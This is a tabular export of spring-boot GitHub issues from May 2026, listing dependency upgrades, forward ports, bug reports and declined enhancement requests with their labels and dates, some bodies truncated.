spring-projects/spring-boot,4531153620,Upgrade to Spring Kafka 3.3.16,Upgrade to [Spring Kafka 3.3.16](https://github.com/spring-projects/spring-kafka/releases/tag/v3.3.16).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:21Z,2026-06-09T19:48:59Z,0
spring-projects/spring-boot,4531153192,Upgrade to Spring Integration 6.5.9,Upgrade to [Spring Integration 6.5.9](https://github.com/spring-projects/spring-integration/releases/tag/v6.5.9).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:17Z,2026-06-10T15:21:51Z,0
spring-projects/spring-boot,4531152604,Upgrade to Spring HATEOAS 2.5.3,Upgrade to [Spring HATEOAS 2.5.3](https://github.com/spring-projects/spring-hateoas/releases/tag/2.5.3).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:12Z,2026-06-09T11:38:04Z,0
spring-projects/spring-boot,4531152032,Upgrade to Spring Framework 6.2.19,Upgrade to [Spring Framework 6.2.19](https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:08Z,2026-06-09T11:38:04Z,0
spring-projects/spring-boot,4531151629,Upgrade to Spring Data Bom 2025.0.12,Upgrade to [Spring Data Bom 2025.0.12](https://github.com/spring-projects/spring-data-bom/releases/tag/2025.0.12).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:03Z,2026-06-09T11:38:03Z,0
spring-projects/spring-boot,4531151234,Upgrade to Spring Batch 5.2.6,Upgrade to [Spring Batch 5.2.6](https://github.com/spring-projects/spring-batch/releases/tag/v5.2.6).,"type: dependency-upgrade,status: team-only",2026-05-27T09:19:59Z,2026-06-10T11:46:38Z,0
spring-projects/spring-boot,4531150783,Upgrade to Spring Authorization Server 1.5.8,Upgrade to [Spring Authorization Server 1.5.8](https://github.com/spring-projects/spring-authorization-server/releases/tag/1.5.8).,"type: dependency-upgrade,status: team-only",2026-05-27T09:19:54Z,2026-06-09T19:48:58Z,0
spring-projects/spring-boot,4531149916,Upgrade to Spring AMQP 3.2.11,Upgrade to [Spring AMQP 3.2.11](https://github.com/spring-projects/spring-amqp/releases/tag/v3.2.11).,"type: dependency-upgrade,status: team-only",2026-05-27T09:19:50Z,2026-06-09T19:48:58Z,0
spring-projects/spring-boot,4531149481,Upgrade to Reactor Bom 2024.0.18,Upgrade to [Reactor Bom 2024.0.18](https://github.com/reactor/reactor/releases/tag/2024.0.18).,"type: dependency-upgrade,status: team-only",2026-05-27T09:19:45Z,2026-06-09T11:38:02Z,0
spring-projects/spring-boot,4531149002,Upgrade to Micrometer Tracing 1.5.12,Upgrade to [Micrometer Tracing 1.5.12](https://github.com/micrometer-metrics/tracing/releases/tag/v1.5.12).,"type: dependency-upgrade,status: team-only",2026-05-27T09:19:41Z,2026-06-09T11:38:00Z,0
spring-projects/spring-boot,4531148413,Upgrade to Micrometer 1.15.12,Upgrade to [Micrometer 1.15.12](https://github.com/micrometer-metrics/micrometer/releases/tag/v1.15.12).,"type: dependency-upgrade,status: team-only",2026-05-27T09:19:36Z,2026-06-09T11:38:00Z,0
spring-projects/spring-boot,4530940978,Layer written outside the output location of '//' exception is thrown when using extract layers in root directory,Forward port of issue #50509 to 4.1.x.,"type: regression,status: forward-port",2026-05-27T08:48:01Z,2026-05-27T08:48:14Z,0
spring-projects/spring-boot,4530939818,Layer written outside the output location of '//' exception is thrown when using extract layers in root directory,Forward port of issue #50501 to 4.0.x.,"type: regression,status: forward-port",2026-05-27T08:47:49Z,2026-05-27T08:48:14Z,0
spring-projects/spring-boot,4530780145,Remove unnecessary null check,Forward port of issue #50507 to 4.1.x.,"type: task,status: forward-port",2026-05-27T08:22:57Z,2026-05-27T08:23:26Z,0
spring-projects/spring-boot,4530779012,Remove unnecessary null check,Forward port of issue #50504 to 4.0.x.,"type: task,status: forward-port",2026-05-27T08:22:45Z,2026-05-27T08:23:24Z,0
spring-projects/spring-boot,4530386185,Remove stale gRPC entry from community starters,"[starter/README.adoc](https://github.com/spring-projects/spring-boot/blob/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/README.adoc#L122-L123) still lists gRPC under Community Contributions, linking to third-party gRPC starters.

This appears to have become stale after [c35b21a](https://github.com/spring-projects/spring-boot/commit/c35b21adb40fc7e5a267523fd542f6946f60af94) added Spring Boot gRPC client support. Its parent, [e61bb6d](https://github.com/spring-projects/spring-boot/commit/e61bb6df5bedde613e58bdc07c956f60a4d501a7), had already added server support, so Spring Boot now provides official gRPC starters:

- [spring-boot-starter-grpc-client](https://github.com/spring-projects/spring-boot/tree/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/spring-boot-starter-grpc-client)
- [spring-boot-starter-grpc-server](https://github.com/spring-projects/spring-boot/tree/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/spring-boot-starter-grpc-server)

There is precedent for this kind of cleanup: [db99ed8](https://github.com/spring-projects/spring-boot/commit/db99ed843e47932a2f2d978691cf9708b585ca39) removed the LDAP third-party starter entry because Spring Boot had gained its own LDAP starter.

I think the fix is to remove the gRPC row from [starter/README.adoc](https://github.com/spring-projects/spring-boot/blob/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/README.adoc#L122-L123). I have a candidate change here and can open a PR if the maintainers would like:

https://gith... [TRUNCATED]",type: task,2026-05-27T07:19:50Z,2026-05-30T14:49:01Z,0
spring-projects/spring-boot,4526829746,Spring Framework gradle plugin fails when mainClass is not set.,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",,2026-05-26T19:16:05Z,2026-06-10T06:15:36Z,3
spring-projects/spring-boot,4522693894,MonetaryAmount is not deserialized by Feign client without custom Jackson converter in Spring Boot 4,"## Environment

  | Dependency | Version |
  |---|---|
  | Spring Boot | 4.0.6 |
  | Spring Cloud OpenFeign (`spring-cloud-openfeign-core`) | 5.0.0 |
  | Spring Framework | 7.0.7 |
  | `io.github.openfeign:feign-core` | 13.6 |
  | `tools.jackson.core:jackson-databind` | 3.1.2 |
  | `tools.jackson.datatype:jackson-datatype-javax-money` | 3.0.0 |
  | `javax.money:money-api` | 1.1 |
  | `org.javamoney.moneta:moneta-core` | 1.4.4 |
  | JDK | OpenJDK 25.0.2 (Zulu) |
  | OS | Ubuntu 24.04.2 LTS (kernel 6.17.0-29) |

  ## Steps to reproduce

  1. Create a Spring Boot 4 project with `spring-boot-starter-web` and `spring-cloud-starter-openfeign`.
  2. Add `javax.money:money-api`, `moneta-core`, and `tools.jackson.datatype:jackson-datatype-javax-money`.
  3. Register `JavaxMoneyModule` as a `@Bean`:

  ```java
  @Bean
  public JavaxMoneyModule moneyJacksonModule() {
      return new JavaxMoneyModule();
  }
  ```

  4. Create a DTO with a `MonetaryAmount` field and a `@RestController` that returns it.
  5. Create a `@FeignClient` pointing at that endpoint.
  6. Call the Feign client from a test.

  ## Expected behavior

  `MonetaryAmount` is deserialized correctly. `JavaxMoneyModule` is registered as a `@Bean`; Spring Boot's Jackson auto-configuration picks it up and includes it in the primary
  `JsonMapper`. The Feign client's converter should use the same `JsonMapper`.

  ## Actual behavior

  ```
  tools.jackson.databind.exc.InvalidDefinitionException:
  Cannot construct instance of ... [TRUNCATED]",for: external-project,2026-05-26T08:29:49Z,2026-05-26T09:02:54Z,2
spring-projects/spring-boot,4517901654,Add missing null check in ApplicationContextAssertProvider,Forward port of issue #50498 to 4.1.x.,"type: task,status: forward-port",2026-05-25T15:17:13Z,2026-05-25T15:17:26Z,0
spring-projects/spring-boot,4517900891,Add missing null check in ApplicationContextAssertProvider,Forward port of issue #50456 to 4.0.x.,"type: task,status: forward-port",2026-05-25T15:17:05Z,2026-05-25T15:17:25Z,0
spring-projects/spring-boot,4517857222,Improve test method naming,Forward port of issue #50496 to 4.1.x.,"type: task,status: forward-port",2026-05-25T15:09:31Z,2026-05-25T15:09:46Z,0
spring-projects/spring-boot,4517855899,Improve test method naming,Forward port of issue #50492 to 4.0.x.,"type: task,status: forward-port",2026-05-25T15:09:19Z,2026-05-25T15:09:45Z,0
spring-projects/spring-boot,4517361370,Layer tools lost support for buildng in root ('/'),"Seems like [this patch](https://github.com/spring-projects/spring-boot/issues/50130) introduced new restriction on build process.

Root (`/`) build location don't supports from now on. I don't think it was intended change.

```
ARG BUILDER_IMAGE=""alpine/java:21-jdk""
FROM ${BUILDER_IMAGE} AS BUILDER
ARG APP_JAR=""my-jar.jar""
ARG APP_DIR=""./target""
COPY ""${APP_DIR}/${APP_JAR}"" .
RUN java -Djarmode=tools -jar ${APP_JAR} extract --layers --launcher
```

Will work with sb `3.5.13` but will fail `3.5.14`.

```stacktrace
java.lang.IllegalStateException: java.lang.IllegalStateException: Layer 'dependencies' would be written to '/dependencies'. This is outside the output location of '//'. Verify the contents of your archive.
        at org.springframework.boot.jarmode.tools.LayerToolsJarMode.run(LayerToolsJarMode.java:46)
        at org.springframework.boot.loader.launch.JarModeRunner.runJarMode(JarModeRunner.java:64)
        at org.springframework.boot.loader.launch.JarModeRunner.main(JarModeRunner.java:44)
        at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
        at java.base/java.lang.reflect.Method.invoke(Method.java:580)
        at org.springframework.boot.loader.launch.Launcher.launch(Launcher.java:106)
        at org.springframework.boot.loader.launch.Launcher.launch(Launcher.java:64)
        at org.springframework.boot.loader.launch.JarLauncher.main(JarLauncher.java:40)
Caused by: java.lang.IllegalStateException: La... [TRUNCATED]",status: superseded,2026-05-25T13:47:21Z,2026-05-26T14:27:04Z,2
spring-projects/spring-boot,4512933874,Give the possibility of TestContainers manipulation/interaction (before app bootstrapping) in ITs,"By switching from TestContainers-JUnit5 to SpringBoot-Testcontainers-JUnit5, I could reduce boilerplate code and centralize Testcontainer setup in one place. so far, so good :)


Now there are ""some flavours"" or ""requirements"" that are driven by the IntegrationTest (IT) itself, e.g. prepare TestData.
Therefore, I would like to have the possibility to execute some code on the container from/within my IT _before_  app's ApplicationContext startup

In such specific case, my current workaround is to stick to TestContainer-Junit5 bootstrapping. e.g.

```java
@DataMongoTest
@Testcontainers // this setup allows MongoDB container manipulation before bootstrapping of app (especially Mongock script execution)
//@ImportTestcontainers(InfrastructureDependencies.MongoDB.class)
// IT must implement the infrastructure interface (imho looks ugly, but avoids re-duplication of container settings) 
class FooIT implements InfrastructureDependencies.MongoDB {

  @BeforeAll
  static void beforeAll() {
    // container manipulation before any test execution _and_ before any ApplicationContext startup 
    try (var mongoClient = MongoClients.create(mongoDb.getReplicaSetUrl())) {
      // do stuff with the MongoClient
    }
  }
}
```

My wish is something like that (without customizer!)

```java
@DataMongoTest
@ImportTestcontainers(InfrastructureDependencies.MongoDB.class)
class FooIT {

  @BeforeAll
  static void beforeAll(@Autowired MongoDbContainer mongoDb) {
    // container manipulation before a... [TRUNCATED]",,2026-05-24T21:15:58Z,2026-06-13T14:53:14Z,10
spring-projects/spring-boot,4509899089,Documented Rest client customization promotes bad practice with ClientHttpRequestFactoryBuilder.detect(),"Spring Boot 4.0.6
https://docs.spring.io/spring-boot/reference/io/rest-client.html#io.rest-client.restclient
```
@Service
public class MyService {

	private final RestClient restClient;

	public MyService(RestClient.Builder restClientBuilder, SslBundles sslBundles) {
		HttpClientSettings settings = HttpClientSettings.ofSslBundle(sslBundles.getBundle(""mybundle""))
			.withReadTimeout(Duration.ofMinutes(2));
		ClientHttpRequestFactory requestFactory = ClientHttpRequestFactoryBuilder.detect().build(settings);
		this.restClient = restClientBuilder.baseUrl(""https://example.org"").requestFactory(requestFactory).build();
	}

	public Details someRestCall(String name) {
		return this.restClient.get().uri(""/{name}/details"", name).retrieve().body(Details.class);
	}

}
```
If application has MyService1, MyService2, MyService3, MyService4, MyService5, each will have own http client, with isolated resources - threads and connections.
I think, by default the application should strive to reuse resources and documentation should reflect it.
I understood it is not trivial with existing API and implementation variants - for example two Rest clients with different connect timeouts can reuse single Apache http client but not single Java SDK http client.

Regardless its not trivial, documentation should be fair andat least warn that code 
`ClientHttpRequestFactoryBuilder.detect().build(settings);` 

is something developer 99% does not want in application `@Service`.

(And 100% of cloud providers lov... [TRUNCATED]",status: declined,2026-05-23T23:30:15Z,2026-05-24T18:04:03Z,3
spring-projects/spring-boot,4508731381,BeanRegistrarDsl does not support @ConfigurationProperties binding,"**Description**
  
  When using BeanRegistrarDsl (introduced in Spring Boot 4.0) to register @ConfigurationProperties data classes via registerBean<T>(), property binding from application.yaml does not work. The bean is created
  but properties are not bound, resulting in:
  
```
  Failed to bind properties under 'my-prefix' to com.example.MyProperties:
      Reason: java.lang.IllegalStateException: No setter found for property: my-property
```
  
  **Expected Behavior**
  
```
  registerBean<T>() in BeanRegistrarDsl should recognize that T is annotated with @ConfigurationProperties and apply constructor binding, similar to how @ConfigurationPropertiesScan or
  @EnableConfigurationProperties works.
```
  
  **Current Behavior**
  
  registerBean<T>() creates a plain bean instance without invoking the configuration properties binding infrastructure. This means:
  
  - Constructor binding is not used
  - Spring falls back to setter-based binding, which fails for Kotlin data class (immutable) properties
  - Users must still use @ConfigurationPropertiesScan or @EnableConfigurationProperties alongside BeanRegistrarDsl
  
  **Reproduction**
  
 ```
 @ConfigurationProperties(prefix = ""my-prefix"")
  data class MyProperties(
      val myProperty: String = """"
  )
  
  class MyBeans : BeanRegistrarDsl({
      registerBean<MyProperties>()  // Does NOT bind properties from YAML
  })
  
  my-prefix:
    my-property: ""hello""
  
  @SpringBootApplication
  @Import(MyBeans::class)
  class Appl... [TRUNCATED]",status: declined,2026-05-23T15:36:19Z,2026-05-24T19:03:38Z,7
spring-projects/spring-boot,4505239438,Document Java 25 requirement for AOT cache,Forward port of issue #50484 to 4.1.x.,"type: documentation,status: forward-port",2026-05-22T19:49:01Z,2026-05-22T19:49:10Z,0
spring-projects/spring-boot,4505229468,Document Java 25 requirement for AOT cache,Forward port of issue #50482 to 4.0.x.,"type: documentation,status: forward-port",2026-05-22T19:47:03Z,2026-05-22T19:49:09Z,0
spring-projects/spring-boot,4496366767,BootBuildImage should allow adding buildpacks on top of those specified in the builder,"### Context

We use `gradle bootBuildImage` to build our container image, pretty much with the defaults (afaik):

- `paketobuildpacks/builder-noble-java-tiny:latest`
- `paketobuildpacks/ubuntu-noble-run-tiny:latest`
- ```kotlin
  tasks.named<BootBuildImage>(""bootBuildImage"") {
    docker {
        imagePlatform = ""linux/amd64""
        createdDate = ""now""
    }
  }
  ```

### Problem

In a docker compose setup used for testing, we need a health check for our image. With the defaults, there doesn't seem to be a (simple) way to implement one; web search led us via [SO#75899112](https://stackoverflow.com/a/75899112/539599) to [paketo-buildpacks/health-checker](https://github.com/paketo-buildpacks/health-checker/tree/main), which seems suitable.

We expected this addition to `build.gradle.kts` 

```
tasks.named<BootBuildImage>(""bootBuildImage"") {
  docker { <snip> }

  buildpacks.add(""docker://docker.io/paketobuildpacks/health-checker"")
  environment.put(""BP_HEALTH_CHECKER_ENABLED"", ""true"")
}
```

to enable the healthcheck as

```yaml
healthcheck:
  test: [ ""CMD"", ""/workspace/health-check"" ]
```

However, we observe that the one buildpack overrides _all_ default buildpacks:

```
> gradle bootBuildImage
<snip>
 > Running creator
    [creator]     ===> ANALYZING
    [creator]     Restoring data for SBOM from previous image
    [creator]     ===> DETECTING
    [creator]     target distro name/version labels not found, reading /etc/os-release file
    [creator]     paketo-buildpacks/h... [TRUNCATED]",status: declined,2026-05-21T16:46:06Z,2026-05-21T20:27:21Z,2
spring-projects/spring-boot,4477765433,Add end_session_endpoint to ProviderDetails,"When configuring OAuth / OIDC details via the properties prefixed by `spring.security.oauth2.client.provider` one cannot add the URI of an `end_session_endpoint` to configure Front-/Backchannel-Logout.
There is code making use of this URI, but this only works if metadata is retrieved from a `.well-known/openid-configuration` Metadata Endpoint.
In case you want to or need to customize such details, you'll need to add some workarounds and it's unclear why this URI is not treated the same way as others.
#21375 raises this same topic from a different view, but it's essentially the same.

It'd be great if static configuration would be enhanced to support this.",status: duplicate,2026-05-19T13:27:32Z,2026-05-19T14:26:43Z,2
spring-projects/spring-boot,4477672387,Document that Java 25 is the minimum supported version where AOT cache can be used,"While the documentation correctly mentions that the AOT Cache is available since Java 24, the snippet which demonstrates the creation of the AOT Cache only works with Java 25, as the `-XX:AOTCacheOutput` is not part of Java 24.

```
$ java -XX:AOTCacheOutput=app.aot -Dspring.context.exit=onRefresh -jar my-app.jar
```

It would be great if there would be another snippet which demonstrates the AOT Cache creation using Java 24.",status: superseded,2026-05-19T13:15:31Z,2026-05-22T18:50:28Z,7
spring-projects/spring-boot,4476942252,spring-boot:build-image fails on Docker 29.5.1 against Paketo Noble builders due to /var/run symlink (CVE-2026-41568 hardening),"## Summary

After upgrading the Docker daemon to **29.5.1**, `spring-boot:build-image` fails when building against the Paketo `builder-noble-java-tiny`. The same plugin version and the same builder image digest succeed on Docker **29.5.0**.

The boundary aligns with the security fix shipped in Docker 29.5.1 for **CVE-2026-41568 / [GHSA-vp62-88p7-qqf5](https://github.com/moby/moby/security/advisories/GHSA-vp62-88p7-qqf5)**. Per the advisory, the fix uses `os.Root` (Go 1.24+) to scope mount-destination creation during `docker cp` / `PUT /containers/{id}/archive`, refusing to traverse symlinks that escape the container root. The daemon log line we see is consistent with that check rejecting an operation involving `/var/run`, which is a symlink (`/var/run -> /run`) in every Paketo builder we checked. We have not pinpointed the exact commit in 29.5.1 — this is inference from the timing, the advisory text, and the daemon log.

## Versions

- `spring-boot-maven-plugin`: **4.0.6**
- Docker Engine (Server): **29.5.1** (fails), **29.5.0** (works) — verified by downgrading on the same host and re-running an unchanged build.
- Builder: `paketobuildpacks/builder-noble-java-tiny@sha256:c8b5f936e6d9af492af4a493b4a03eaf496fe51f206c5d53ccddab7871ed4ef5` (identical digest in both passing and failing runs).

## What we observe

Maven output on the failing run:

```
[ERROR] Failed to execute goal org.springframework.boot:spring-boot-maven-plugin:4.0.6:build-image
  (default-cli) on project app: ... [TRUNCATED]","status: invalid,for: external-project",2026-05-19T11:28:19Z,2026-05-21T09:07:19Z,8
spring-projects/spring-boot,4476561540,Make Flyway native image support accessible for usage with secondary data sources,"Flyway doesn't come with built-in support for native images. Spring Boot includes the necessary configuration as part of the auto-configuration, which is really great. A key part of that support is `NativeImageResourceProvider` to instruct the GraalVM compiler on how to find the SQL migration files used by Flyway.

That works as long as the Spring Boot application works with a single data source. However, when adding a second one, there is a problem.

- If I create a `Flyway` instance from scratch for the secondary datasource, it would be missing all the convenient auto-configuration from Spring Boot, including the native image support.
- If I create a `Flyway` instance building on top of the auto-configured `Flyway` instance and just customize the location URL, things work fine on the JVM but fail in native mode due to the fact that the original resource provider will be locked on the original locations, and any custom/additional location URL is ignored. This won't work in native mode:

```java
    @Secondary
    @Bean(defaultCandidate = false)
    Flyway secondaryFlyway(@Secondary DataSource dataSource, Flyway flyway) {
        return Flyway.configure()
                .configuration(flyway.getConfiguration()) // inherits from auto-configured Flyway instance
                .dataSource(dataSource)
                .locations(""classpath:db/migration-secondary"")
                .load();
    }
```

The only way to inherit from the auto-configured Flyway and still get it to work... [TRUNCATED]",status: declined,2026-05-19T10:26:09Z,2026-05-20T15:20:55Z,2
spring-projects/spring-boot,4476081695,Upgrade Tomcat to 10.1.55 in 3.5.X branch,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: declined,2026-05-19T09:17:27Z,2026-05-19T09:21:38Z,2
spring-projects/spring-boot,4468656172,Baseurl passed in RestClient.Builder#baseUrl is ignored when uriBuilderFactory is pre-configured,"Spring Boot 4.0.6

I configure

```java
@Bean
RestClientCustomizer restClientCustomizer() {
    DefaultUriBuilderFactory uriBuilderFactory = new DefaultUriBuilderFactory();
    uriBuilderFactory.setEncodingMode(DefaultUriBuilderFactory.EncodingMode.URI_COMPONENT);
    return builder -> builder.uriBuilderFactory(uriBuilderFactory).build();
}
```
because I prefer readable legal request
> http://host/transactions?from=2019-11-14T12:00:00Z&to=2019-11-15T12:00:00Z

over encoded
> http://host/transactions?from=2019-11-14T12%3A00%3A00Z&to=2019-11-15T12%3A00%3A00Z

Unfortunately, the following code:
```
restClientBuilder.baseUrl(""http://host"").build().get().uri( ""/transactions?from={from}&to={to}"", from, to)
```
fails with
> java.lang.IllegalArgumentException: URI with undefined scheme
	at java.net.http/jdk.internal.net.http.common.Utils.newIAE(Utils.java:394) ~[java.net.http:na]

Without `RestClientCustomizer ` it works, but request params are encoded

Workoarund

```java
DefaultUriBuilderFactory uriBuilderFactory = new DefaultUriBuilderFactory(""http://host"");
uriBuilderFactory.setEncodingMode(DefaultUriBuilderFactory.EncodingMode.URI_COMPONENT);
restClientBuilder.uriBuilderFactory(uriBuilderFactory).build();

",status: invalid,2026-05-18T11:22:22Z,2026-05-18T11:53:19Z,1
spring-projects/spring-boot,4461317853,Enhancement suggestion: Add built in support for Fine Grained Authorization,"Hi There

Enhancement suggestion: In case I want to implement custom authentication provider I can add by using build in Spring boot support for it, but I cannot add custom authorization provider specialty with different structure like fine grained authorization (Example open source implementation openFgA).

Yes, there is spring boot starter available from openFGA and permit.io sdk but there should be support for implementing multiple authorization ways in spring boot as well.

Thanks","status: invalid,for: external-project",2026-05-16T21:15:39Z,2026-05-17T07:04:27Z,1
spring-projects/spring-boot,4459045236,Documentation of Application properties could use some improvement,"When building Spring Boot applications, properties defined within `application.properties` or via command line arguments are some of the best ways to provide configuration to our applications. However, the documentation of the various properties that various Spring Boot and other Spring Projects' modules accept is quite lacking in my opinion.

Currently, the various application properties are all listed within [Spring Boot/Appendix/Common Application Properties](https://docs.spring.io/spring-boot/appendix/application-properties/index.html). At the time of this message being posted, these properties are tabulated with their name, short description, as well as their default values. While this appendix is surely useful, it can be improved significantly by addressing these issues:

- The type of the application property is not listed here. A reader perusing these documents has no idea of knowing whether a property represents a `String`, a number, an `Enum`, or even a `Map<String, String>`. This information is not impossible to find: they can be perused within the `META-INF/spring-configuration-metadata.json` file in the corresponding Spring module's JAR file. However, this is a rather cumbersome step and defeats the purpose of easy to access documentation.

- The various properties are grouped by rather large overarching groups. Take ""Data Properties"" for example. A large number of properties have been grouped into this one title, but in reality, several Spring modules are involv... [TRUNCATED]","status: duplicate,type: documentation",2026-05-16T07:07:25Z,2026-05-16T11:11:59Z,1
spring-projects/spring-boot,4455922246,ProcessRunner does not restore interrupt flag on InterruptedException,"In `ProcessRunner`, two `InterruptedException` catch blocks do not restore the thread's interrupt flag before re-throwing or returning:

1. `waitForProcess` (line 140): catches `InterruptedException`, throws `IllegalStateException` without calling `Thread.currentThread().interrupt()` first, and without chaining the original exception.
2. `ReaderThread.toString` (line 192): catches `InterruptedException` and returns `""""` without restoring the interrupt flag.

This is inconsistent with every other `InterruptedException` handler in the codebase (e.g., `LogbackLoggingSystem`, `SpringApplicationShutdownHook`, `ServiceReadinessChecks`, `FileWatcher`, `OnClassCondition`) which all restore the flag.

Without restoring the flag, code higher in the call stack (such as Docker Compose lifecycle shutdown handling) cannot detect that the thread was interrupted.",status: superseded,2026-05-15T17:58:53Z,2026-05-16T06:25:13Z,1
spring-projects/spring-boot,4448696404,Upgrade to Tomcat 11.0.22,"Upgrade to Tomcat 11.0.22 

Needed to patch [CVE-2026-43512](https://www.cve.org/CVERecord?id=CVE-2026-43512).",status: declined,2026-05-14T19:30:31Z,2026-05-14T20:14:56Z,1
spring-projects/spring-boot,4446581202,Correct the name of the CLI's license file,Forward port of issue #50441 to 4.1.x.,"type: task,status: forward-port",2026-05-14T14:09:07Z,2026-05-14T14:09:23Z,0
spring-projects/spring-boot,4446579725,Correct the name of the CLI's license file,Forward port of issue #50395 to 4.0.x.,"type: task,status: forward-port",2026-05-14T14:08:54Z,2026-05-14T14:09:22Z,0
spring-projects/spring-boot,4446532605,Update license header in .kt and .gradle files,Forward port of issue #50439 to 4.1.x.,"type: task,status: forward-port",2026-05-14T14:02:51Z,2026-05-14T14:04:03Z,0
spring-projects/spring-boot,4446530920,Update license header in .kt and .gradle files,Forward port of issue #50397 to 4.0.x.,"type: task,status: forward-port",2026-05-14T14:02:35Z,2026-05-14T14:04:02Z,0
spring-projects/spring-boot,4446374231,Bump fast-xml-builder from 1.1.5 to 1.2.0 in /antora,Forward port of issue #50437 to 4.1.x.,"type: task,status: forward-port",2026-05-14T13:41:46Z,2026-05-14T13:42:01Z,0
spring-projects/spring-boot,4446372847,Bump fast-xml-builder from 1.1.5 to 1.2.0 in /antora,Forward port of issue #50377 to 4.0.x.,"type: task,status: forward-port",2026-05-14T13:41:36Z,2026-05-14T13:42:00Z,0
spring-projects/spring-boot,4446188126,Test against Gradle 8.14.5,Forward port of issue #50374 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-05-14T13:15:37Z,2026-05-14T13:33:09Z,0
spring-projects/spring-boot,4445163719,Use Unix line endings in NestedPropertiesRecord and NestedRecord,Forward port of issue #50434 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-05-14T10:27:46Z,2026-05-14T10:28:28Z,0
spring-projects/spring-boot,4445162459,Use Unix line endings in NestedPropertiesRecord and NestedRecord,Forward port of issue #50403 to 4.0.x.,"type: task,status: forward-port,status: team-only",2026-05-14T10:27:32Z,2026-05-14T10:28:28Z,0
spring-projects/spring-boot,4441622660,Spring @Transactional Annotation in MODE.AspectJ does not work anymore after adding spring-security-aspects,"See this very small project reproducing the error:

https://github.com/kicktipp/annotationorder/

I am using AspectJ compile-time-weaving for `@Async` and `@Transactional` Annotations. I have lots of methods having both annotations and the order of execution is always correct.

Now I added spring-security-aspects to the build.gradle.kts and suddenly the `@Transactional` is not recognized anymore. It still works with jakarta @Transactional 

I have no idea how this can happen. But it looks like a bug to me. ","status: invalid,for: external-project",2026-05-13T22:32:50Z,2026-05-14T06:30:12Z,1
spring-projects/spring-boot,4439637602,Upgrade to Hibernate 7.3.4.Final,"Upgrade to [Hibernate 7.3.4.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.3.4).

Supersedes #50341","type: task,status: superseded",2026-05-13T16:43:42Z,2026-05-13T17:02:16Z,0
spring-projects/spring-boot,4438963584,RabbitProperties enable SSL when `spring.rabbitmq.ssl.bundle` is overridden to an empty string,"I believe there is a bug in Spring Boot's RabbitMQ auto-configuration when a configured SSL bundle is overridden to an empty string in a profile-specific configuration.

## Problem

If a base configuration sets a RabbitMQ SSL bundle and a profile-specific configuration tries to disable it with:

```yaml
spring:
  rabbitmq:
    ssl:
      enabled: false
      bundle: """"
```

the empty string override does not disable SSL as expected.

This is relevant when a default profile uses an SSL bundle for production/stage, and a `local` profile wants to switch RabbitMQ back to plain AMQP on localhost.

## Example

Base `application.yml`:

```yaml
spring:
  rabbitmq:
    host: rabbitmq.ucl.svc.cluster.local
    port: 5671
    ssl:
      enabled: true
      bundle: rabbitmq-ca
```

Profile-specific `application-local.yml`:

```yaml
spring:
  rabbitmq:
    host: localhost
    port: 5672
    ssl:
      enabled: false
      bundle: """"
```

## Actual behavior

RabbitMQ SSL is still enabled when the `local` profile is active.

## Expected behavior

Overriding `spring.rabbitmq.ssl.bundle` to an empty string should effectively clear the bundle setting so that SSL is not enabled by the presence of a previously configured bundle.

## Analysis

In Spring Boot `4.0.6`, the relevant code path appears to be:

### `RabbitProperties.Ssl#determineEnabled()`

```java
public boolean determineEnabled() {
    boolean defaultEnabled = Boolean.TRUE.equals(getEnabled()) || this.bundle != null;
    if (Collecti... [TRUNCATED]",status: duplicate,2026-05-13T15:03:46Z,2026-05-13T16:31:36Z,1
spring-projects/spring-boot,4438843781,Polish code to use instanceof pattern matching in conditions,Forward port of issue #50424 to 4.1.x.,"type: task,status: forward-port",2026-05-13T14:47:37Z,2026-05-13T14:47:48Z,0
spring-projects/spring-boot,4438840778,Polish code to use instanceof pattern matching in conditions,Forward port of issue #50419 to 4.0.x.,"type: task,status: forward-port",2026-05-13T14:47:12Z,2026-05-13T14:47:47Z,0
